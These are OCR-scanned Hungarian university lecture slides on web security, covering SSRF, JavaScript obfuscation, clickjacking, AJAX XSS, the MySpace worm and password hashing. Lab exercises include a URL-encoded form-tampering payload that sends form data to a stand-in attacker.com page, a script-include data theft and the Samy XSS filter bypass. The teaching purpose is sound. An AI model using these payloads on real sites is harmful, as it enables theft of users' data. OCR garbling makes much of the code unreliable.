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Attekintés

@ Az adatok viszonylag alacsony el6fordulasi aranyt mutatnak
az atlagosnal magasabb tesztelési lefedettséggel

@ Az Uj bejegyzések valésziniileg a kbzds
gyengeség-felsorolasok (CWE-k) egyetlen vagy kis csoportjat
alkotjak.

@ Figyelem felkeltése érdekében, hogy fékuszaljanak ra és egy
késbbbi kiadasban nagyobb kategdriaba sorolhassak.
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SSRF

Mi az a Server-Side Request Forgery?

A kordbban megalapozott bizalommal val6 visszaélés mas
eroforrasokhoz valé hozzaférés érdekében. Egy webalkalmazas
tavoli eréforrast kér le a felhasznal6 altal megadott URL
érvényesitése nélkil.

Mire van hatassal?

Vizsgélja meg és csatlakozzon a belsd szolgaltatasokhoz. Egyes
esetekben a tamadé hozzaférhet érzékeny adatokhoz.
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Internet Intranet

GET Http:ffwebsite.com/id?
@ content=http://10.0.0.1fadministrator

m Response: Admin panel Response

Request

Attacker website.com
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SSRF

Az SSRF-tamadasok kiilonb6zé méddon hasznalhatjak ki a belsd
szolgaltatasokat: (pl. a spam e-mailek kiildése, az operacios
rendszerparancsok tavoli végrehajtasa a webes alkalmazasokat
futtaté szervereken).

Konkrétan, ha a sebezhet6 szerver (azaz a sebezhetd
webalkalmazast futtatd szerver) felh6kdrnyezetben van elhelyezve,
az SSRF-tamadasok kevesebb erdfeszitést igényelnek a tamaddk
szamara, és altalaban veszélyesebbek.
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SSRF - Hogyan lehet megel6zni?

Ezek a problémak a szoftver stack kiilénbdzé rétegeiben (pl. az
alkalmazas szintjén vagy egy harmadik féltél szarmazé
kényvtarban) keletkezhetnek, ami nagyon megneheziti a
sebezhetd kod felkutatasat. Azonban lehetséges, hogy a kevésbé
nyilvanvalé esetek kimaradnak, kilénésen a modern webes
alkalmazasokban a harmadik féltél szarmazé kdnyvtarak
hasznalatanak atlathatésagi problémai miatt.

@ Szanitald és ellenérizd az tgyfél altal biztositott 6sszes
bemeneti adatot

@ A hatasok csdkkentése érdekében szegmentalja a tavoli
szerver-hozzaférési funkciokat kiilén halézatokban

@ A kapcsolatok korlatozasa csak meghatarozott portokra (pl.
443 a https esetén)
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Esettanulméany - Shopify

@ A Shopify infrastrukturaja az infrastruktura részhalmazaira
van elkllénitve.

@ A Shopify Exchange képernyé&fotézasi funkcidjaban lévé
SSRF-el root hozzaférést lehetett szerezni egy adott
részhalmaz barmely konténeréhez.

@ A sebezhet6 részhalmaz nem tartalmazta a Shopify core-t.

@ Az G6sszes szolgaltatas auditalasa utan a hibat egy
metaadat-elrejtd proxy telepitésével javitottak, és letiltottak a
metaadat-informaciékhoz vald hozzaférést. A belsé IP-khez
valo hozzaférést is letiltottak az 6sszes
infrastruktUra-alhalmazan.

Forras:
Link
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https://hackerone.com/reports/341876
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Capital One

Az egyik ilyen tAmadas kevesebb mint egy évvel ezelbtt tértént a
Capital One ellen, ahol tébb mint 100 millié fogyasztoi
hitelkérelmet loptak el [35]. Link
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https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/

Kliens oldali biztonsag
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JavaScript kéd védelme

@ Obfuszkacié metddusok
o Flggvények, valtozék, melynek céljik mindent atnevezni
e Strukturalis transzformaciok (valtoz6 elrendezés, parancs
sorrend)
o Adat transzformaciok (példaul [][] — [], az &sszes szbveg
kédolasa)
o Vezérld transzformaciok (pl. utasitdsok Ujracsoportositasa)
@ Nativ kdd esetén: az automatikus decompilation
(visszaforditas) nehezebb

@ JavaScript: csak megneheziti az emberi megértést
@ De az obfuszkalas csak az emberi megértést akadélyozza az
"obscurity” altal a végén

Példa: amig a [] tres tdmb, ![] hamis boolean logikai értékké valik,
mig a ![] + [] 'hamis’ értéki sztringgel jelenik meg.
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@ [] egy Ures tdmb.
I[] hamis.
[l igaz.

Hamis + [] 'hamis’ lesz (mert ez egy sztring + témb tartalma
— sztring) példaul 2+[2,2] is 22,2’

I[]+[] ’hamis’

+[] O lesz

+!4[] 1 lesz
(‘0+I+01°f lesz

false’[1] lesz ([[+[)[+!+]]] '@’ lesz

Javascript tipus korlatozas:
Link
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https://github.com/getify/You-Dont-Know-JS/blob/master/types%20%26%20grammar/ch4.md
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JavaScript kéd védelme

Mi ennek a végeredménye

¢scripty

eval(

(TN T T O LT C LD L LT+ LD LT (DT [+ [T (!
DT+ C OO+ T (LT +C LTI+ T4
FCUID T+ CHLTID L0+ LT+ [T+ CU LTI T LT DU LT+ I+ L1+ [4LT T4+
BT+ ODC OO T D) L T LT+ LT L (014 [T 1+ CH
§+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]

</scripty
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Feladat - JavaScript obfuszkacio

o A fejlesztd megvaltoztatta a kddot, és obfuszkacidval elrejtette
az adminisztracios logikat. Probéljon bejelentkezni az admin
oldalra:

e http://www.insecar.com/adm_obf
e Nézd meg az oldal forrasat
e adm_obf runs adm_obf_jso.js

@ Nyissa meg ezt az obfuszkalt JavaScript-et:
http://www.insecar.com/frontend/scripts/adm_obf_jso.js

e Mentse az asztalra, mint a.html (Mentés masként)
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Feladat - JavaScript obfuszkacio

@ Vegye figyelembe, hogy a szkript az evalra tamaszkodik, hogy
visszavonja az obfuszkacié két rétegét.
e Nyisd meg a mentett a.html egy szerkesztével
o Tegyél bele egy <script> és </script> -et az elsé és utolsé
sorba
e Valtoztasd meg a masodik eval -t document.write -ra
e Nyisd meg az Gjonnan létrehozott a.html -t a béngészében

@ A JavaScript deobfuszkalt lett
@ Az Uj admin oldalt megtalalod
http://www.insecar.com/SHA1 _Error
@ Vannak olyan eszkdz6k és webalkalmazasok is, amelyek
automatikusan deobfuszkaljak a JS-t
o lllessze be a szkriptet erre az oldalra, és nyomja meg kétszer a
'Deobfuscate’ gombot:
http://deobfuscatejavascript.com
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http://deobfuscatejavascript.com
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Clickjacking

@ A Clickjacking nevi technikaval a tamadé becsaphatja a
felhasznaldt, aki nem kivant miveleteket hajt végre
e Ugyanaz a hatas, mint a Cross-site Request Forgery esetén,
de ez akkor is m{ikddik, ha a CSRF-védelem (a véletlenszer(
token) a helyén van
@ A Clickjacking tamadas nagyon érzékeny a
helyzetmeghatarozasra
o Atamadd azonban lecsékkentheti és nagyithatja a
bekeretezett gombokat
e A keret horgonyokkal (anchor) és HTML elem ID-kal a
megfeleld helyre helyezhetd

Formadlis definicio:
http://cwe.mitre.org/data/definitions/1021.html
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http://cwe.mitre.org/data/definitions/1021.html
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Feladat - IFrame, Hol az En Autém? 1/3

@ Nyisd meg http://www.insecar.com

o Jelentkezz be egy érvényes felhasznaléval
e Username: luxurycars
o Password: IcarS1234!

@ Mivel a social engineering tamadas meggy06zi az aldozatot,
hogy latogasson el egy rosszindulati webhelyre

e Nyisd meg ezt a linket a bongészében egy masik lapon:
http://attacler.com/Win7 _Firefox/clickjacking1.html

@ Frissitsd (F5-tel) - hova tlint a kedvenc aut6d?
o Es miért?
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http://attacler.com/Win7_Firefox/clickjacking1.html
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Feladat - IFrame, Hol az En Autém? 2/3

@ Azért, hogy lasd hatasat probalj meg megnyitni egy masik
oldalt a rosszindulati webhelyen
o Nyisd meg
http://attacler.com/Win7 _Firefox/clickjacking1op.html

@ Most mar lathatod a rejtett iframe-t
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http://attacler.com/Win7_Firefox/clickjacking1op.html

Kliens oldali biztonsag
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Feladat - IFrame, Hol az En Autém? 3/3

@ Veéqiil ellendrizze a rosszindulatu oldal fejlettebb verziojat
o Nyissa meg:
http://attacler.com/Win7 _Firefox/clickjacking2.html

@ A gomb koveti a kurzort!
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http://attacler.com/Win7_Firefox/clickjacking2.html
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Clickjacking elleni védelem

@ Alapvetden: ne engedje, hogy bekeretezzék (framed)
@ Védelem HTTP (valasz) fejlécek révén, amelyeket a
béngészbknek figyelembe kell vennilk
e X-Frame-Options - mar elavult
e frame-ancestors Content Security Policy iranyelve alapjan
@ JavaScript védelem
e Framebusting: ellenérizze, hogy megjelenik-e egy keretben, és
ha igen, torje ki (break out) az oldal Gjratdltésével. Példaul:

If (top != self) top.location=self.location;

e Vagy elrejtheti vagy obszkulalhatja a tartalmat, ha nem egy top
elem
e Hasznald pl. a Facebook és a Twitter segitségével
@ Ellenbrizze a referrer-t, hogy tovabbra is engedélyezze-e a
kereteket (whitelist)
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Content Security Policy (CSP):
Link

Content Security Policy (CSP) Quick Reference Guide:
Link

Clickjacking alapjai:

Link

Clickjacking elleni védelem:

Link

Praktikusan ellendrizheti, mely béngészé tamogatja az adott HTTP
headert vagy funkcidkat:

Link
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https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
https://content-security-policy.com/
https://www.tinfoilsecurity.com/blog/what-is-clickjacking
https://appsec-labs.com/portal/anti-clickjacking/
http://caniuse.com
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Anti frame-busting - a védelmi szkriptek elvetése

@ Kettds framing

e Amikor a szkript hasznalja parent.location = self.location
e parent.location kettds képkeret hasznalata esetén a legtdbb
bdngészdben valdjaban megsérti a biztonsagot

@ Nem lesz navigacioé
@ Az onBeforeUnload esemény regisztralasa a keretezési
oldalon, amely visszatér egy azonnali valasszal
felhasznalétol, hogy térdini akarja-e a navigacios kérelmet.

o A legtdbb béngész6 nem fogja 6sztdéndzni a felhasznalét, ha
az eseménykezeld egy olyan webhelyre navigal, amely 204 -
No Content véalaszol.

@ Hagyja, hogy a bongészd XSS-sziirdje allitsa le a
frame-busting szkriptet
o Csak tegye a védelmi szkriptet egy URL-paraméterbe
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Ez egy masik példa a tdAmadok és a véddk kdzoétti "macska-egér
jatékra”. Néhany technika a felhasznaldk naivitasara tamaszkodik,
pl. az onBeforeUnload parancssor megjelenitésével, példaul:
"Biztos benne? Az OK gombra kattintva potencialisan ellatogathat
egy karos webhelyre, és megfertézheti a szamitdgépét”.

Egy 6sszefoglald a tamadasi és védelmi technikakrdl:
Link
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http://seclab.stanford.edu/websec/framebusting/framebust.pdf

Kliens oldali biztonsag
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Frame busting elleni védelem

@ Legjobb megoldasok

o Az oldal tartalmanak elrejtése az oldal betdltésekor
e Ezutan ellendrizze, hogy top frame van-e (ha nincs
bekeretezve)

@ Ha top vagy: mutasd meg a content elemeket
@ Ha nem top vagy: Ujratéltés mint top elem

@ Ha a JavaScript le van tiltva, vagy a szkript barmilyen médon
elutasitasra kerll, nem jelennek meg érzékeny kontrollok

<style> body { display : none; } </style>
<script>

if ( self == top )

{

!
else
{
top. location=self.location;
1

</script»

document. getElementsByTagName( "body")[@].style.display="block";
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@ Kliens-szerver kdd interakcié ahol

o Az elrendezést és a formazast (layout and formatting) a
Weboldal hajtja végre

e Az oldalba agyazott szkript aszinkron médon miikddik egytt a
szerverrel, hogy tovabbi adatokat gyUjtsén

e Tovabbi oldaltartalmat generalunk kliensoldalon a szervertdl
kapott informaciok alapjan

AJAX = Asynchronous JavaScript and XML

A gyakorlatban azonban az XML-et nem hasznaljak széles kérben
a JSON, HTML, text és sajat formatumokhoz képest.
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XSS az AJAX-ban

@ XSS kihivasok AJAX esetén

e Downstream AJAX esetén
o A felhaszndlé altal irdnyitott adatok kildnbdzé formaban
jelenhetnek meg

@ JSON, XML, text, binary, ...
o Ezt a valaszt a JavaScript elemzi és dolgozza fel

@ Amit az oldalra helyez a DOM megiraséaval
@ Vagy a document.write vagy equivalent hasznalataval

@ Ennek eredményeként nehezebb tdmadni egy webhelyet
e De igy védjik az XSS ellen

Természetesen a kliens és a szerver kozotti kommunikacié lathatd
a tamadd szamara, csakugy, mint a JavaScript, amely feldolgozza
az downstream kommunikaciot.
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Szkript beszurasos tdmadas az AJAX-ban

@ A szkript beszlras akkor fordulhat elé, ha a felhasznal6 altal
iranyitott adatok barmilyen formaban eljutnak a eval () -be

eval("var revd = '" + xmlhttp.responseText + "'; "); ‘

o Tegyuk fel, hogy a fenti downstream valasz adatok:
42’ ; alert (1); var b="a

@ Még trivialisabb, ha érvényes JavaScriptet kiildiink AJAX
downstream adatként (pl. JSONP elvégzésekor)

o Akkor ezt egyszerlien feldolgozza a eval ()-lel

eval(xmlhttp.responseText);

@ Az escaping ebben az esetben kihivast jelent
o Escapelni a csucsos zardjeleket(<, > ) egyaltalan nem segit

Olah Norbert Halad6 Adatbiztonsag



AJAX biztonsag
000000000000 0000000O00000000000000000000

JSONP:
Link

Példa arra, hogy a JSONP hasznalata miként eredményezhet
(persistent) XSS-t:
Link
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https://www.w3schools.com/js/js_json_jsonp.asp
https://www.youtube.com/watch?v=VtFHxU_IYLA

AJAX biztonsag
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Feladat - JavaScript hijacking

@ Jelentkezz be az Insecar oldalra (hasznalj Firefoxot!)
e Hasznald példaul luxurycars és IcarS1234!

@ Ellenérizd a kiemelt hirdetés feladott postjait (Car wholesale)
e Adjon hozza sajat megjegyzést (barmit tartalmazhat)

@ Egy Uj lapon menj az attacker oldalra

o http://attacker.com/ajax_csrf.html
o Ellendrizze a forraskédot: agyazd be
/product/comment/get/{ID} az oldalba <script src="..."> -tel

@ Ellentrizd, hogy kiszivargott-e az lizenet
o http://attacker.com/stolen_messages.jsp

Hogyan tudja a tamadd kivonni a titkos lizenetet az AJAX
valaszbol?
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CSRF védelem az AJAX-ban

@ Kerlld a valaszként érvényes JavaScript kiildését
e Hasznaljon példaul JSON-t vagy mas adatformatumot
@ Vagy haigen
e Adj egy while(1); -t a JavaScript el6tt
@ A Google valasztasa a kdzelmultig (pl. Gmail)

e Vagy adjon hozza szemetet (letters, HTML tags, quotes, ...) ,
amelyek megszakitjak a szintaxist

@ J6 a JSON ellen - vagy altaldban méas beagyazassal szemben
@ Példaul: Angular auto-strips )] ", \ n

@ Hasznaljon CSRF védelmi tokent (véletlenszer(i érték)

@ Ellentrizd a referert, hogy csak ugyanazon domainhez
klldjon valaszt

e De ezt be lehet csapni, ha nem helyesen kezelik!

Olah Norbert Halad6 Adatbiztonsag



AJAX biztonsag
000000 @000000000000O00000000000000000000

Vegye figyelembe, hogy a szkript tagek csak GET kéréseket
generalhatnak! Ezért meg kell bizonyosodni, hogy minden AJAX
végpont (amely Javascriptet vagy JSONP-t ad vissza) csak a
POST-ot fogad el.
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MySpace worm

@ Valos életbdl egy példa
e Samy (JS.Spacehero) egy Myspace XSS worm volt
e Ha valaki megfert6zétt oldalt nyitott meg, automatikusan
generalt egy barati kérelmet, és a kddot az aldozat profiljaban
is tarolta
e Alig 20 éran beldl tébb mint egymillio felhasznalé futtatta a
payload-ot
@ Mivel a MySpace blacklist-en alapul6 szlirést hasznalt, a féreg
JavaScript-kédjanak sziiksége volt néhany triikkre

Samy leirasa:
Link
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https://samy.pl/popular/tech.html

AJAX biztonsag
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MySpace worm - sebezhetéség kihasznalasa

@ Kihivasok:
e Sok tag volt blokkolva: <a>, <img>,<script>, etc.
@ ... de a MySpace nem blokkolta a style attribGtumot a tagekben,
és a CSS engedélyezte a JavaScriptet, pl.:
<div style="background:url(’javascript:alert(1)’)">
e A JavaScript nem tartalmazhat idézéjeleket, mivel mind ’ és
mind a ” idézdjel hasznalhaték magaban a div-ben
@ ... de az eval() kreativ hasznalata elker(li ezt a kérdést
e A javascript szét szintén blokkoltak, de a bdngészék
megengedik az Uj sorokat
e Végul ez a megkdzelités mikodott:

<div id="mycode" expr="alert(1)" style="background:url('java //newline!
script:eval(document.all.mycode.expr)')">
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MySpace worm - payload

A szkript a kdvetkezd Iépéseket hajtotta végre baratkérés
elklldéséhez és kbédjanak beillesztéséhez a profilba:

Yy

o Megszerezte az oldal forrasat (beleértve a felhasznaloi
azonosit6 userlD)

@ eval('document.body.inne’ + rHTML)
o Elolvasta a felhasznal6 tényleges baratlistajat az xmlhttp
hasznalataval
@ Hozzaadta Samy-t a baratlistdhoz
e Sziiksége volt POST-ra a www.myspace.com webhelyrdl, de
mivel a szkript a profile.myspace.com oldalrél futott, meg
kellett valtoztatnia a helyét
@ if (location.hostname == "profile.myspace.com’)
document.location = http://www.myspace.com’ +
location.pathname + location.search;
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MySpace worm - payload

@ A CSRF védelem megkerilése
e A MySpace véletlenszerii hash-t generalt a felhasznalék
oldalain, mint CSRF védelmi token
e Az oldalt azonban a tokennel egy(tt el lehet olvasni
o Ezutan a POST kildhetd a megfeleld értékkel
@ A ”Samy is my hero” és a kdd hozzaadasa
o Az (jj token értékhez Uj GET sziikséges
o Elvégezni a kéd URL-kddolasat
e Végul elkildeni a hero széveget és kédot POST metodussal
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AJAX biztonsagi iranyelvek

@ Hasznald az .innerText -et
@ Ne hasznalj evalt
@ Kanonizalja az adatokat a fogyasztok szamara (k6dolja
hasznalat el6tt)
@ Ne hajtson végre biztonsagat befolyasolo logikat az tgyfél
oldalon
o Ne tamaszkodjon a kliens logikajara a biztonsag
szempontjabol (példaul hitelesités)
o Ne végezzen titkositast a kliens oldali kédban
e Ne hagyatkozzon az Uigyfél Uzleti logikajara

@ Kerllje a serialization kdd megadasat (ezt ne otthon végezze
el)
e Még egy kis hiba is komoly biztonsagi problémakat okozhat
@ Keriilje az XML dinamikus felépitését

@ Soha ne tovabbitsa a titkokat a kliensnek
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AJAX biztonsagi iranyelvek

OWASP AJAX biztonsagi iranyelvek:
Link
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https://www.owasp.org/index.php/OWASP_AJAX_Security_Guidelines
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Feladat - JavaScript Form megsértés

@ Nyisd meg a http://www.insecar.com oldalt és jelentkezz be
mint hans a jelsz6 pedig hansMuller!87

@ "Open your inbox”, és kdvesd a linket admin Uzenetben:

http://www.insecar.com/user/modify?errormsg=There%20has%20been’%20
a%20data%20breach,%20please%20change’%20your20password%2@immediat
ely!%3Cinput%20class%3D%22button%20expanded%22%20type%3D%22submit
%22%20form%3D%22modify_form¥k22%20formaction%3Dhttp%3A%2F%2Fattack
er.comk2Fstolen_messages.jsp%20valuek3D%22Modify%22%20style%3D%22
position%3Aabsolute’%3Btop%3A703px%3Bleft%3A481px%3Bwidth%3A958px%
3Bz-1index%3D99999%22%3E%3C%2F input%3E

e Kitudod innen masolni
http://attacker.com/Win7_Firefox/form_tampering.txt

@ Toltsd ki az Urlapot az adataiddal
e Click-elj a Modifygombra (vagy csak nyomja meg az ENTER-t)
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Feladat - JavaScript Form megsértés

@ Most ellendrizd a kdvetkezd oldalt
http://attacker.com/stolen_messages.jsp

Hint: replace Modify
with M0d1fy to see the
effect clearly!

Lehet, hogy egy tdmadé ugy néz ki, mintha a mivelet rendben lett
volna? Ha igen, hogyan?
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Feladat - Kliens oldali include

@ Nézd meg az "About” oldalt http://www.insecar.com/ (hasznalj
Firefoxot!

e Figyeld meg az URL-t:
http://www.insecar.com/about?/frontend/views/templates/
about_content.html

e Be tudunk include-olni valamit cross-origin médon?

@ Ellentrizd a cor.jsp és corallow.jsp implementacidkat innen
C:\Ex/WebExample_jsp/Attacker_com
e Ez utébbi magaba foglalja Access-Control-Allow-Origin:*
@ El6szor probald ki:
http://www.insecar.com/about?http://attacker.com/cor.jsp
e Semmi nem tértént...
@ Azutan probald ki:
http://www.insecar.com/about?http://attacker.com/corallow.jsp
o A szkript végrehajtodott!
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Feladat - Kliens oldali include

Mit kellett tennie a tamadd webhelyén, hogy a tdmadas mikodjéon?

Mit tud még elérni a tamado ezzel a tAmadassal (a szokasos
XSS-hez képest)?
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Feladat - Kliens oldali hitelesités

@ A rendszergazda a www.insecar.com webhelyen
implementélta tgyféloldali hitelesitést a titkos adminisztracios
oldal védelme érdekében. Prébaljon bejelentkezni az admin
oldalra:

e http://www.insecar.com/adm
@ Tipp: a hitelesitési JavaScript kddot az oldal forrasaban
lathatja - nézd meg adm.js
@ Nyugodtan férjen hozza a nem dokumentalt (de elérhet)
adminisztratorok oldalahoz a kdvetkezd cimen:
e http://www.insecar.com/secret_status_page
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Ugyféloldali hitelesités és jelszékezelés

@ Tipikus hibak
e Biztonsag az obscurity kdvetkeztében - egy oldal, amelyre
nincs hivatkozas, elérhet6

o Ugyféloldali hitelesités vagy biztonsagi funkciok
e Hardcoded jelsz6
@ Legjob megoldasok

e Mindig hasznaljon szerveroldali hitelesitést - az tigyféloldalon
térténd hitelesités a definicié szerint obscurity biztonsagon
alapul

e Ne haszndljon Hardcoded jelszavakat a JavaScript kédjaban,
még titkositott / obfuscated formaban sem

@ A hackerek megtalaljak a mddjat ezeknek a jelszavaknak a
megtanulasara
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Feladat - a hashelt jelszavak gyengesége

@ Keress egy online MD5 hash szolgaltatast Google-ben

o Keress ra példaul: hashing tool
o Példa: http://www.fileformat.info/tool/hash.htm

@ Vagy csak kattins a Hashing linkre a béngészében
e irj be egy sztringet
@ Pl ate neved...
e Készitsd el ennek az MD5 hashét
@ Keresd meg a végeredményként kapott hash értéket

o Nyissa meg kedvenc keresémotorjat egy béngészével
e Masolja, majd illessze be a hexadecimalis karaktereket

Hany talalatot kaptal a “jelsz6” hashére?
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Jelszavak kezelése és tarolasa

@ A hashelt jelszavak még mindig sérllékenyek
o A jelszé talalgatasra: Ures, felhasznal6 neve stb.
o SzOtar tamadasokra
@ Végrehajthatd keresémotorokkal is
e Brute force tAmadasokra
@ Elére kiszamitott szivarvany tablak tamogatjak

@ Legjobb megoldasok
e Jelszéval kapcsolatos elvek alkalmazasa (még jobb:
kifejezések hasznalata)
e Haszndlj lassu hash funkciét, példaul a berypt vagy a PBKDF2
e So6zas:

Registration Authentication

|
|
|
|
1

- H(PWs®RNDS),
NDs

H(PWe®RNDs) [« —
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Comments, remarks

Kifejezés vs jelszéval kapcsolatos elvek

http://xkcd.com/936/

Brute force tamadassal:

http://xkcd.com/538/

Szivarvany tablak:

https://en.wikipedia.org/wiki/Rainbow_table

A jelszavak lassu hash-ekkel val6 tarolasanak fontossaga(nem
csak bcrypt-et jelent!):
https://codahale.com/how-to-safely-store-a-password/
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Brute force tamadas alkalmazasa

@ A Brute force tdmadas alkalmazasa barmikor lehetséges -
elméletileg

e De ha tébb mint egy évszazadra lenne sziikség az altalanosan
elérhetd szamitasi erbvel, akkor gyakorlati szempontbél
rendben vagyunk

@ Hogyan tudja egy tamadé lerdviditeni a sziikséges id6t?
Botnet
Pénz — adatkézpontok, felhd
GPU vagy dedikalt hardware (FPGA vagy hasonlé)
Es természetesen a szivarvany tablak...
@ On-line brute force tdmadas
o A hitelesitési kisérletek nem megfeleld korlatozasa
@ Off-line brute force tdmadéas
e Egy adatbazis ellen, pl. cracking hash
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Specialis hash algoritmusok a jelszé taroldsahoz

@ Argon2
e A Password Hashing Competition gyéztese 2015-ben
o A #1 véalasztas az OWASP szerint(hasznald ezt ha elérhetd)
@ Password-Based Key Derivation Func. 2 (PBKDF2)
e SHAT1 vagy SHA256 (HMAC) alapjan, szabalyozhaté iteraciok
o NIST altal javasolt, FIPS-140 megfelelés
@ bcrypt

o Blowfish titkositd alapjan, magaban foglalja a s6zast

o Adaptiv (sebesség szempontjabol) - "kdltség” szabalyozhat6

o A GPU tamadasokkal szemben ellenallébb (globalis tablat
hasznal)

@ scrypt

o Befolyasolja a hosszu sztringeket a memoriaban
e Egyes kriptovalutak (példaul LiteCoin) hasznalnak scrypt-et,
igy az ASIC-banyaszok problémat jelenthetnek a jévében
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Comments, remarks

Az Argon2-nek két véltozéja van (i és d); Az "i” valtoz6t nem
szabad hasznalni, mivel van néhany kriptoanalitikus gyengesége.

Scrypt és berypt elemzése:
https://blog.ircmaxell.com/2014/03/why-i-dont-recommend-
scrypt.html

PBKDF2 specifikacio:
https://tools.ietf.org/html/rfc2898#section-5.2

Argon2:

https://www.cryptolux.org/index.php/Argon2

Olah Norbert Halad6 Adatbiztonsag


https://blog.ircmaxell.com/2014/03/why-i-dont-recommend-scrypt.html
https://blog.ircmaxell.com/2014/03/why-i-dont-recommend-scrypt.html
https://tools.ietf.org/html/rfc2898#section-5.2
https://www.cryptolux.org/index.php/Argon2

AJAX biztonsag
000000000000 0O000000O000000e0000000000000

Esettanulmany - Ashley Madison adatlopas
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Esettanulmany - Ashley Madison adatlopas

@ 2015 augusztusaban feltdrték az Ashley Madison tarskeresd
weboldalt és nyilvanossagra hoztak az ellopott az adatokat

e Tag profilok tranzakciokkal (kartyaszam nélkdil)
e 36 milli6 felhasznaldi jelszé

@ 12 cost-U berypt altal védett (2'2=4096 iteracio)
@ A kutatok megprobaltak feltérni a berypt altal védett
jelszavakat
o Szotar tamadasok végrehajtasa 4 GPU hasznalataval
@ 4007 gyenge jelszot feltortek 5 nap alatt
o De az dsszes 36M jelszo ellendrzése tobb mint egy
évszazadot igényelt volna!
@ A tamadas azonban a forraskddot is kiszivarogtatta
e A jelszavak ellen végrehajthaté brute force tAmadas feltarasa
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Comments, remarks

A data dump-rél sz6l6 cikk:
https://arstechnica.com/information-technology/2015/08/data-from-
hack-of-ashley-madison-cheater-site-purportedly-dumped-online/

A brute force kisérlet részletei:
https://arstechnica.com/information-technology/2015/08/cracking-
all-hacked-ashley-madison-passwords-could-take-a-lifetime/
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Bejelentkezési kulcs token

@ A bejelentkezési kulcsot MD5-tel generaltéak és DB-ben
taroltak
e Automatikus bejelentkezéshez hasznalt (pl. elfelejtett jelszo
esetén)
@ A regisztracié és a fiok médositasa soran a kdvetkezdképpen
szamitottak ki:
e Korabban:
md5(1lc($username)."::".1lc($pass)) ‘

o Késbbbi generacidknal:
md5(1lc($username).”::" . 1c($pass).":".1lc($email)." : 73@ bhhs&#@& @8@*$" ) ‘

e Végul 2012-ben sokkal jobb megoldast talaltak:

md5(lc($username)."::".1lc(bcrypt($pass)))

@ Csak az Uj regisztraciokat érintette
e A meglévd felhasznaldkat a régi és sebezheté formaban
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Comments, remarks

Relevans idézet a cikkbdl: "We can only guess at the reason the
$loginkey value was not regenerated for all accounts,” egy
csapattag irta egy e-mailben Ars-nak. "The company did not want
to take the chance of slowing down their site while the $loginkey
value was updated for all 36+ million accounts.”

Vegye figyelembe, hogy az Ic lowercase fliiggvény (PHP).

A bejelentkezési token gyengeségének felfedezése:
https://blog.cynosureprime.com/2015/09/how-we-cracked-millions-
of-ashley.html

Részletes magyarazat:
https://arstechnica.com/information-technology/2015/09/once-
seen-as-bulletproof-11-million-ashley-madison-passwords-already-
cracked/
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A jelszé feltarasa brute force tamadassal

@ Md5 (bejelentkezési kulcs) Brute force-olva lehetett a bycrypt
helyett

e A nyiltszévegl jelsz6 volt az egyetlen ismeretlen az MD5
bemenetben
e Még hatékonyabb, mivel minden kisbetls volt
@ Az eset javitasara volt sziikség a végén
o A feltart (lehetséges) jelszé kisbetlis volt
o Az Osszes karaktert at kell kapcsolni, és minden egyes
kombinaciot ellendrizni kell a berypt értékkel szemben a valéddi
jelsz6 meghatarozasa érdekében
@ 11.2 millid beryptelt jelsz6t lehetne feltdrni csak néhany nap
alatt azoknak a felhasznaldk esetében akik 2012 elétt
regisztraltak
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A jelszé feltarasa brute force tamadassal

@ Tanulsagok

@ Soha ne hasznalj nyiltan tarolt jelsz6t token hash-ekhez
e Ha megvaltoztatod a jelsz6 hash-el6 fliggvényt egy erésebbre,
akkor migralni kell az 8sszes tarolt jelszéra
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Gyakori hibak a jelszdkezelésben

@ Gyenge kriptografia
o A gyengén koédolt jelszavak nem védettek
@ Jelsz6 csonkitasa
o Nem teszi biztonsagossa a kifejezések hasznalatat
@ Logging passwords
e Ne loggold a rossz jelszavakat sem.
@ Alapértelmezett jelszavak
e Ne haszndld ugyanazt az alapértelmezett jelszét az 6sszes
telepitéshez - vagy legalabb kérje a felhasznalét, hogy
valtoztassa meg
@ Beégetett jelsz6
o A forraskodba helyezett jelszavak felfedhetdk
o Tekints a forraskododra ugy, mint “nyilvanos
informaciora”
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Komment

Altalaban meg akarsz bizonyosodni arrél, hogy a jelszavak amiket
hasznélsz egyediek és nehezen kitalalhatéak. Amikor a
jelszavakat (vagy API kulcsokat) hasznalod a programodban, soha
nem szabad beégetned 6ket - ez nem csak megneheziti a
karbantartast, hanem azt is jelenti, hogy a tamadd megkapja a
jelszavaidat, amint megkapja a forraskddot. Ehelyett a jelszavakat
és az API kulcsokat be kell olvasnod konfiguraciés fajlokbdl. A
beégetett jelszavakkal kapcsolatos tovabbi probléma az, hogy
azok akkor is elérheték lesznek a verzidkezeld rendszeren
keresztll ha torolték dket a kodbdl.
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Komment

Hard-coded passwords put industrial systems at risk:
https://nakedsecurity.sophos.com/2017/04/10/hard-coded-
passwords-putindustrial-systems-at-risk

Egy Kaliforniai térvényjavaslat elész6r szabalyozza az loT-t az
Egyesiilt Allamokban (Iényegében betiltja az alapértelmezett
jelszavakat):
https://nakedsecurity.sophos.com/2018/09/13/california-bill-
regulates-iot-for-first-time-in-us/
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Erzékeny informacié a memériaban - minimalizalja a
tamadas fellletét

@ A legfontosabb: ne legyenek beégetett titkok!
o Tartsd ket védett kiils6 forrdsokban (fajlok)
o Olvassa be Oket, ha szlkséges és tordlje, ha kész
e Minimalizélja azt az idét, ameddig a titok a memoriaban van
e Kihivas: hogyan lehet ellen&rizni, hogy térélte-e
@ Tobb ellenérzés a nativ kédban (C/C++) - "zeroisation”
@ Nagyobb kihivas a managed kdd esetében(Java, C#) -
disposability and immutability are the issues
@ A memériaban valo titkositas csak megneheziti a
megtalalasat - de nem lehetetlen
e Probléma: hol taroljuk a titkositasi kulcsot?
e Ez csak bujocska...
(kivéve, ha van biztonsagos elem, pl. egy SIM-kartya)
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Comments, remarks

A titkok eltavolitasa a memdériabdl egyszer( a teljes
memodriakezelés felligyeletével, amelyet az alsébb szintli
programozasi nyelvekben biztositanak. Azonban amikor érzékeny
adatokat megvaltoztathatatlan osztalyokba rakjuk, példaul
sztringekbe Java-ban vagy C #-ben, a fejleszté nem tudja
ellenérizni, hogy mikor t6rlddnek az adatok a memdériabdl (ha
egyaltalan t6rlédnek). Ezért j6 megoldas, ha a kulcsokat és a
jelszavakat valtoztathaté objektumokban, példaul bajt tdmbdkben
taroljuk, majd nulla értékekkel toltjiik fel Oket, ha a titokra mar nincs
szikségunk.
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XML dokumentumok alairasa - Vedd észre a hibat!

@ A digitalis alairas igazolhatja az XML dokumentumok és
